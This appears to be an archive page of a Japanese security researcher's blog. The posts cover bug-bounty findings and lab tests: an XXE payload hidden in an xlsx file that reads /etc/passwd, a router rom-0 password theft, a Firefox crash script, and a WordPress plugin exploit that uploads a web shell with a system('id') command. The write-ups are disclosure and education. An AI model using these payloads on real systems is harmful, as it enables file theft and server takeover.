Archive for the ‘Security’ Category

ちょっとだけ複雑なXXEの話   no comments

Posted at 12:27 pm in Security

お久しぶりです。もう年末ですね。

OWASP top 10 2017が発表されて、その中にXXEとデシリアライゼーションが新たにランクインしたことがWebセキュリティクラスタでは話題のようです。そもそもXXEもデシリアライゼーションの脆弱性もあまり診断業務では見かけないものなのでどうして入ったのかという驚きもあるのでしょう。

先月までは日本ではあまり話題に上ることは少なかったXXEですが、この数年海外では脆弱性報告をわりと見かけます。自分もいくつか報告をしているのですが、それほど重要度が高くないと認識されているのか修正されることは少なく1つがようやく修正されただけです(他の件は実際に悪用される危険は本当に少ないと思いますが)。

XXEの基本的な原理についてはすでにいくつかのところで説明されているようですので、ちょっとだけ複雑だった修正された事例を紹介したいと思います。

○ExcelファイルのXXE
XXEですが、xml形式のリクエストを行う、またはxmlファイルを読み込ませることで攻撃を行うということが多いのですが、表向きは他のファイル形式だけど実はXMLだというファイルを使うことで攻撃が行えることもあります。

実例として先月脆弱性が修正された
WordPress用プラグイン TablePressにおける XML 外部実体参照 (XXE) 処理の脆弱性
http://jvn.jp/jp/JVN05398317/index.html
がありますので紹介させていただきます。

これはExcelのファイルをWordPressに取り込むプラグインなのですが、現行のExcelで採用されているファイル形式であるxlsxファイルを読み込むことでサーバー内の任意のファイルを読み込むことができるという脆弱性でした。

xlsxというファイルは実はZIP圧縮されたXMLファイルの集合体です。手元のファイルに.zipの拡張子を付けて解凍してみるといくつかのフォルダとxmlファイルとなることがわかるでしょう。

解凍したxlsxファイル

 

攻撃を行うためには解凍した中のどれかのxmlファイルを開き、サーバー内のファイルを読み込むようなDOCTYPE宣言と実体参照を追記して保存します。

 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
 count="1" uniqueCount="1"><si><t>&xxe;</t>
<phoneticPr fontId="1"/></si></sst>

 

そして再圧縮すると攻撃するためのxlsxファイルができ上がりました。
簡単ですね。
このファイルをインポートすると以下の図のようにサーバー内のファイルが表示されます。

/etc/passwdが読み込まれた

WordPressのプラグインにはこのようにxmlの処理の際に内部ファイルを読み込むような機能があるのですが、これだけで大騒ぎしてはいけません。
WordPressはAdminister権限でログインしている場合、任意のphpコードの実行が可能です。ですのでAdminister権限でこのようなことができるからといって脆弱性だと決めつけることはあまりよろしくはないです。

ですが、このプラグインの場合は管理権限のないユーザーであってもこの機能を使用することができましたので、管理権限のないユーザーがサーバー内の任意ファイルを読み込むことができるという由々しき脆弱性として報告/修正されました。

実は修正の方向としてはこの機能を管理者しか使えなくするという方法もあったのだと思いますが本編とは関係ないのでこれ以上は言及しません。

ですが、管理者しか使えない場合であってもこのxlsxファイルが外部の悪意ある人の作成したもので、読み込んだファイルの内容を外部に送信されるような機能がある場合どうなるでしょう。その場合ファイルをインポートすると知らずにサーバー内のファイルを攻撃者のサーバーに送信してしまうということになります。
送信させる手段としては古い環境(libxml2.8未満?)なら属性値を使った攻撃が可能です。新しい環境なら他のプラグインのXSSを使うというやり方などがあると思いますが、疲れたのでこの話はここまでにします。

なおxmlではないのに実はxmlであるものとしては、Office関連のファイル以外にもepubファイルやxspf形式のファイルなどがありますので皆様も試してみるのはいかがでしょうか。

 

Written by bogus on 12月 2nd, 2017

CVE-2017-7755 Firefox のインストーラーと同一ディレクトリー上の DLL ファイルを通じた特権昇格   no comments

Posted at 4:48 pm in internet,Security

こんにちは。お久しぶりです。
twitterまとめにかまけてすっかりこちらを忘れておりました。

更新しないうちに家のウォシュレットが壊れたりハクビシンに天井裏に住まれて糞尿を垂れ流されたりしておりましたが何とか生きています。猫も元気です。

それはともかく生まれて初めてMozillaの脆弱性を見つけて報奨金をいただきました。我ながらすごいですね。きっと最初で最後だと思いますのでこうしてブログに書くわけです。端的にいうと自慢です。

http://www.mozilla-japan.org/security/announce/2017/mfsa2017-15.html#CVE-2017-7755

で、どんな脆弱性かというと去年あたりからIPAでもたくさん報告されているDLLハイジャックとかバイナリプランティングとかいろいろな呼び名のあるDLL読み込みの脆弱性です。

インストーラーと同じフォルダにDLLを置いておくとインストーラーを実行したときに想定されているDLLに優先されて同じフォルダのDLLが読み込まれて、想定外の電卓が実行されるというかんじですね。Firefoxをインストールしようとするとインストールできずに電卓が起動するなんて、Mozillaとしては非常に気分が悪いということだったかはわかりませんがFirefox54のリリースで修正されました。

どんなDLLをどうやって…という詳細については残念ながらFirefox以外でまだ修正されていないソフトがあるのに加え過去バージョンはそのままですので今のところ伏せさせていただきます。探せばわかると思いますが。

ちなみに報奨金もいただけることになっています。ありがたいことです。

きたでー #bugbounty #mozilla

</script><svg/onload=alert(1)>さん(@yousukezan)がシェアした投稿 –

修正前やプライベートバウンティだったりして詳しくは書けないのですが、これ以外にもDLL読み込みに関する脆弱性によっていくつかの会社から報奨金をいただいております。こんな単純な脆弱性と馬鹿にしたりしてる人やOSの仕様だから脆弱性じゃないと思っている皆さまも探してお小遣い稼ぎにチャレンジしてみてはいかがでしょうか。

Written by bogus on 6月 17th, 2017

マルウェア感染お詫びページのXSS   no comments

Posted at 12:30 am in internet,Security

この記事は「脆弱性”&'<<>\ Advent Calendar 2015」n日目の記事です。

一般社団法人海外産業人材育成協会(HIDA)というところのマルウェア感染のお詫びページにDOM based XSSがありました。

refererを書き出していたのですが、エスケープしていなかったことによるDOM based XSSですね。

hida

Enjoy!(一度やってみたかった)

Written by bogus on 12月 29th, 2015

ブロードバンドルーターをヤフオクで買った話   no comments

Posted at 12:30 am in computer,internet,Security

この記事は「脆弱性”&'<<>\ Advent Calendar 2015」9日目の記事です。

お久しぶりです。

しばらくブログを放置しているうちに猫が2匹になりました。

1匹目と同じような三毛猫ですが、分裂したわけではなく拾ったのです。

3ヵ月経ちました

3ヵ月経ちました

そんな猫かわいい話は置いといて、最近人と話していたときに、もう変なものは買ってないのですか? と聞かれたので、自分も変なものを買う人として認識されているのだなあとびっくりしたのですが(毎週のように変なものを買っていた橋本和明さんみたいなのが真の物買いだと思っていました)、そういえば猫がまだ1匹の時にブロードバンドルーターをみんな大好きヤフオクで手に入れたことを思い出したのでそれについて書こうと思います。

●買ったルーター

買ったブロードバンドルーターはバッファローのBLR3-TX4Lという結構昔のもので、落札価格はたしか100円くらいだった思います。もちろん送料のほうが高いですよ。ええ。

ヤフオクで手に入れたルーター

ヤフオクで手に入れたルーターBLR3-TX4L

で、なんでこんなものを買ったのかといいますと、海外ではZyXELという会社のブロードバンドルーターに対する攻撃が大流行だったのです。今も流行しているのかは知りません。

どんな攻撃ができるかというと、rom-0という設定ファイルがリモートから誰でも盗み出せる、ということです。

誰でも盗めると言うことはお子様でも暇なジジババでも簡単にハッカー気分が味わえる(と書くとコメントにハッカーではなくクラッカーヽ(`Д´#)ノ ムキー!!と書かれそうですね)… ではなく実際にハッキングできるというわけで大人気です。

ここまで書いてカンの鋭い人は気づいたと思いますが、実はこのバッファローのブロードバンドルーター、実はZyXELのOEMなのです。

○攻撃してみる

早速実験してみましょう。

長い前フリの割に攻撃方法は簡単です。

http://ルータのIPアドレス/rom-0

にアクセスするとrom-0ファイルがダウンロードされます。やった!

中にはパスワードが… と思ったのですが、バイナリっぽいのでよくわかりません。テキストファイルで開いても読めません!

ダメじゃん!そんなに世の中甘くないです。「ヤフオクごときで簡単にハッキングとかできないんだよこの出来損ないが!」とルーターで頭を殴られたような気がしました。CISCOのルーターなどデータセンターにあるようなごっつい奴だとたぶん薄れゆく意識の中で「ハッキングじゃなくて…」思いつつ死んでいたに違いないのでブロードバンドルーターでよかったと妄想に耽っていたのですが、そんなことしてる場合ではありません。何とかしないと。
何とかしようと思って軽く「rom-0」と目の前に鎮座ましましているgoogle先生に聞いてみると「rom-0 decrypt」と「rom-0 decoder」とかサジェストされます。点の言葉に従うとデコードしてくれるWebサービスが見つかります。世の中ってちょろいもんですね。

Webサービスに先ほどダウンロードしてきたrom-0ファイルを放り込むとパスワードが解析されました。やった!これだけ!passwordというのがこの買ってきたブロードバンドルーターに設定されていたパスワードで、AP…というのがアクセスポイントの名称ですね。

パスワード

解析サイトにファイルをアップロードするとパスワードがデコードされて表示されるのです

やった!世の中なんてチョロいもんですね。これでサッカー選手くらい稼ぐスーパーハッカー間違いなしです。

まあこんな感じでジャンクを買ってきて攻撃してみるのは自分の財布と時間以外は誰にも迷惑かけませんので試してみてはいかがでしょうか。

Written by bogus on 12月 9th, 2015

Firefoxが一瞬でクラッシュする魔法のスクリプト   no comments

Posted at 9:49 am in internet,Security

こんにちは。

世間はお盆ですがまだまだ暑いですね。

変わらず今日も暑いですね

変わらず今日も暑いですね

 

さて先月の話になるのですが、いつものようにXSSを試しているとなぜかFirefoxだけうまくいきません。

何が原因なのかをいろいろ試してみたところ、急にFirefoxがクラッシュするようになりました。
単純化するとこんなコードです。


<html>
<script>
window.location.protocol='javascript'
</script>
</html>
???

ということでWindowsとMacとFirefoxOSのエミュレーターで試してみたのですがやっぱり日頃見かけないクラッシュ画面が出てきます。

試してみたい方はこちらからどうぞ(FF40では修正されているのでそれ以下のバージョンでどうぞ)

なんじゃこりゃ!

ということでMozillaに連絡してみると本当にFirefoxのバグみたいでした。

今クラッシュが起こること確認しているバージョンはFirefox38.0.5〜39.0.3です。Windows、MacOSX、Androidとプラットフォームは問いません。

あとFirefox ESR 38より前のバージョンでもクラッシュが起こるとの報告を受けています(ESR38で修正済み)。あとFirefoxOSでもクラッシュします。

そんなこんなで先月やりとりを行い、Firefox40で修正されたのですが、

どうやらMozillaはセキュリティの問題とは考えてないみたいで、セキュリティ問題修正のリストには掲載されていないようです。

そしてセキュリティの問題と考えていないのですから、もちろんbugzillaでもこのスクリプトは公開されています

1ヶ月近くもゼロデイを公開しても問題無いと思っているMozillaとはセキュリティに対する考え方が違うんだろうなあと思っていますが、彼らのやり方なのでしょうから仕方ありません。

Firefoxには他にも掲載されていないセキュリティの問題が存在しているんだろうなあと想像させられるお盆休みです。

 

Written by bogus on 8月 12th, 2015

ゴールデンウイーク前後にカジュアルにサイボウズの脆弱性を探してみた   no comments

Posted at 2:38 pm in internet,Security

お久しぶりです。最近は立派な社畜としてのんびり生きています。こんにちは。一度は逃げた猫も、外?何それ?知らんし!とすっかり引きこもっています。

さいきんの我が家

さいきんの我が家

にしむねあさんがカジュアルに脆弱性を見つけてたくさんお金を稼いでいらっしゃるようなので(とはいえ読んだらちっともカジュアルじゃない!騙された!焼肉!)、私もそれに触発されてゴールデンウイーク前後にカジュアルな脆弱性探しにチャレンジしてみました(惜しくもゴールデンウイーク中はゴロゴロしたり猫と遊んでるうちに終わってしまいました)。

で、報告したものの脆弱性と認められずにお金を稼げなかったものがたくさんあったので、それについて書かせていただきます。カジュアルに報告した中で脆弱性と認められたものも実はあったりしましたが、それについては現在進行中のため書くことができません。あしからず。

Read the rest of this entry »

Written by bogus on 5月 23rd, 2015

ハッカージャパンとその頃の自分を振り返る16(2003年-2)   2 comments

Posted at 9:04 pm in Security,日記

お久しぶりです。こんにちは。

最近は仕事でXSSを探しているにも関わらずバグバウンティ合宿に行ったり、その足でShibuya.XSSに行ったりと、すっかりワーカホリックに脆弱性検査ばかりしているかんじですが、もうすぐ無職です。休みっていいですね。

そしてそんなことしてるうちに脱走した猫がしばらくぶりに帰ってきました。早稲田通りを渡るなんてすごいですね。さすがに空腹に懲りたのか、おとなしくしています。

無事に帰って参りました

無事に帰って参りました

 

さて猫も戻ってきたということで、続きを書くことにします。

えっとハッカージャパンの編集部を辞めて、次の会社に転職したところでしたっけ。

次の会社はネットワーク関連の資格試験の制作を行うという、セキュリティとはあまり関係なく、編集ぽくもあり編集でもないという(実際にQuarkを使って版下作ったりはしたのですが)微妙な仕事で、ありがたいことに白夜に比べるとびっくりするほど自分の時間が取れました(忙しい時はあるのですが、短期集中というかんじでした)。

なので、暇にまかせていいお小遣い稼ぎだということでアセンブラの書籍を手伝ったり(著者としての名前はあるけど実際は資料整理がほとんどでした)アセンブラでJohn the Ripperやnmapのフロントエンドを作ったりしていました。そして、徐々にHJの原稿を書いたりするようになっていました。

そんなかんじで半年が過ぎ、あっという間に秋になり、イベントが開催されます。

何度目かのA.D.200Xです。

編集者とライターさんという関係から、初めて仕事と関係ない立場での参加でリラックスしていた記憶があります。取材する必要もないので会場には入らず、受付のあたりで旧交を温める時間が長かったです。

そして他のことはほぼ覚えていないのですが、話題のOfficeさんの講演が行われていたときのことを思い出します。

今でこそWebの脆弱性を見つけて報奨金をもらったりしていますが、この頃Webにほぼ興味がなくXSSって攻撃できんの?サーバー入れないじゃん、みたいな私は、遠くでOfficeさんの声を聞きながら、「はいはいXSS、XSS」と以前原稿を書いてもらっていたBackSectionのBEAMSくん(そういえばUNYUNさんの会社上場だそうですねおめでとうございます)と会場の無線LAN APとそこからアクセスする資料が置かれたサーバーへのアクセスの悪さに苦戦しながらも他の人が公開しているWindowsファイル共有ファイルを探していました(この頃はデフォルトでファイル共有している優しい人がたくさんいましたね)。

結局回線環境が悪く共有ファイルはおろかサーバーにさえアクセスできず、会場は人が多くて暑くてふてくされながらもダラダラ朝までいました。そんな朝方だったか、ニュースステーションにも出たかえる☆ちゃんが、職場のファイルサーバーのセキュリティが甘いんだよなんて話をしながら、受付のPCからYahoo!BBのサーバーにアクセスしようとしていました。結局アクセスできたのかどうかは覚えてませんが、Yahoo!BBのセキュリティの甘さを笑いながら帰途につきます。
その後年が明けてからでしたっけ、OfficeさんもBEAMSくんも逮捕されてしまいます。後日、別の人からあのときは関係ない人まで捜査が来て大変だった、桁が1つ多かったから警察が動いちゃったんだよという話を聞きましたが、いや、そういう話じゃないだろ、と思いました。以前パチンコの編集部にもらってBEAMSくんに渡す予定だったサイバラさんのサイン入り単行本がまだ手元にあります。

Written by bogus on 8月 26th, 2014

ミクシィの脆弱性報告制度でAmazonギフトをもらったのでWriteUpを書いてみる   60 comments

Posted at 12:19 pm in Security,XSS

こんにちは。今日は久しぶりに雨ですね。

cats_2013-12-06_17

雨はやだなあ

 

それはともかく10月にミクシィの脆弱性を報告したんだけど、それに対して報償のギフトをもらった&もらえなかったので、そのWriteUp的なことを書こうと思う。

どちらの脆弱性も修正されているが、URLなどについては隠しているところもあるのでご承知おきいただきたい。

Read the rest of this entry »

Written by bogus on 12月 10th, 2013

jquery.prettyPhotoライブラリにおけるDOM based XSSについて   6 comments

Posted at 2:48 pm in internet,Security,XSS

こんにちは。ハッカージャパンが終わってしまい、次の身の振り方を考えると夜も寝られないアラフォーです。いい加減にハローワークに行こうと思いながらも、ついつい寒いので家から出ないという目も当てられない状況です。だれか誘ってください。

cats_2013-11-24_15

どこかからお金が降ってこないかなあ。

そんなどうしようもないかんじで年を越そうとしているわたくしですが、http://attack-secure.comというセキュリティサイトのXSSを発見して、報償としてセキュリティWeb講座の受講権利をいただきました。英語ですががんばってこれで勉強してセキュリティ業界の端っこの方にでも潜り込みたいと思います。

また、同じようなものを見つけたpocketというサービスに名前が掲載されたりもしています。

getpocket_m

getpocket.comのXSS(すでに修正済み)

ということで、ここからはこれらのサイトのXSSについてちょっと書かせていただこうかと思います。

Read the rest of this entry »

Written by bogus on 11月 28th, 2013

ofc_upload_image.phpの脆弱性を試してみた   2 comments

Posted at 1:52 pm in internet,Security

こんにちは。もう10月ですね。

ハッカージャパン11月号、また発売延期ですって。雑誌なのにすごいですね。

cats_2013-10-09_13

穴があったら入りたい

 

それはいいとして、最近Joomla!やWordPressのいくつかのプラグインにも使われているofc_upload_image.phpというファイルにファイルアップロードの脆弱性が見つかったようです。これがボットなどに狙われているようですので、何ができるのか試してみました。

ターゲットはhttp://192.168.5.46/wordpress/
にあります。

まずは普通にプラグインをインストールします。プラグインを有効化する必要はないみたいです。

1011-01

 

次に公開されているexploitを実行します。
phpスクリプトをコマンドラインから実行する形ですが、ちょっと修正すればWebからでも使えるでしょう。

php ./exploit.php -u http://192.168.5.46/wordpress -f shell.php

みたいな形で実行すると
単純なシェルがアップロードされました。

1011-02

http://192.168.5.46/wordpress/wp-content/plugins/seo-watcher/ofc/tmp-upload-images/shell.php?cmd=system(‘id’);

ブラウザーからアクセスするとidが表示されています。Webサーバーの権限です。

1011-03

このように簡単にシェルがアップロードできることがわかりました。危険ですね。

ただしだいたいのプラグインは最新版で脆弱性は解消されているようです。WordPressを使用している人は使用しているプラグインを確認して、アップデートするか、もし使用していないなら削除するようにしたいものです。

Written by bogus on 10月 11th, 2013

Tagged with